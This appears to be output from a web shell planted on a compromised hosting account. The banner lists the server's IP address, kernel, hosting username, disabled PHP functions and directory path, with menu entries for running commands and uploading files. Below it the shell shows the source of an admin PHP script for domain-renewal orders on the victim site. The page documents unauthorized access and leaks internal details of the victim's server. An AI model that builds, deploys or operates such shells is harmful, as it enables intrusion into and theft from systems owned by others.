|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/public_html/js/../pms/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
require_once '../config/config.php';
$con = getDatabaseConnection();
if (!isset($_SESSION['admin_id'])) {
http_response_code(401);
die('Unauthorized');
}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(400);
die('Invalid request');
}
// Get ALL settings from database
$settings_query = "SELECT setting_key, setting_value FROM tbl_domain_settings";
$settings_result = mysqli_query($con, $settings_query);
$settings = [];
while ($row = mysqli_fetch_assoc($settings_result)) {
$settings[$row['setting_key']] = $row['setting_value'];
}
$currency = $settings['currency'] ?? 'INR';
$tax_percentage = floatval($settings['tax_percentage'] ?? 18);
// Get form data
$domain_name = mysqli_real_escape_string($con, $_POST['domain_name']);
$current_expiry = mysqli_real_escape_string($con, $_POST['current_expiry']);
$renewal_years = (int)$_POST['renewal_years'];
$user_id = (int)$_POST['user_id'];
// Get domain-specific pricing from database
$parts = explode('.', $domain_name);
if (count($parts) >= 2) {
if (count($parts) >= 3 && in_array($parts[count($parts) - 2] . '.' . $parts[count($parts) - 1], ['.co.in', '.co.uk'])) {
$tld = '.' . $parts[count($parts) - 2] . '.' . $parts[count($parts) - 1];
} else {
$tld = '.' . $parts[count($parts) - 1];
}
} else {
$tld = '.com';
}
// Fetch price from tbl_domain_pricing
$tld_escaped = mysqli_real_escape_string($con, $tld);
$price_query = "SELECT price_per_year FROM tbl_domain_pricing WHERE tld = '$tld_escaped'";
$price_result = mysqli_query($con, $price_query);
if ($price_result && mysqli_num_rows($price_result) > 0) {
$price_row = mysqli_fetch_assoc($price_result);
$price_per_year = floatval($price_row['price_per_year']);
} else {
$price_per_year = 999.00; // Default
}
// Calculate amounts
$subtotal = $price_per_year * $renewal_years;
$tax_amount = $subtotal * ($tax_percentage / 100);
$total_amount = $subtotal + $tax_amount;
// Calculate new expiry date
$new_expiry = date('Y-m-d', strtotime($current_expiry . " +{$renewal_years} years"));
// Generate order number
$order_number = 'DOM' . date('Ymd') . rand(1000, 9999);
// Insert order
$insert_query = "INSERT INTO tbl_domain_orders (
order_number, domain_name, user_id, renewal_years,
price_per_year, total_amount, currency,
current_expiry, new_expiry, payment_status
) VALUES (
'$order_number', '$domain_name', $user_id, $renewal_years,
$price_per_year, $total_amount, '$currency',
'$current_expiry', '$new_expiry', 'pending'
)";
if (mysqli_query($con, $insert_query)) {
$order_id = mysqli_insert_id($con);
echo "admin/payment_page.php?order_id=" . $order_id;
} else {
http_response_code(500);
die('Error creating order');
}
?>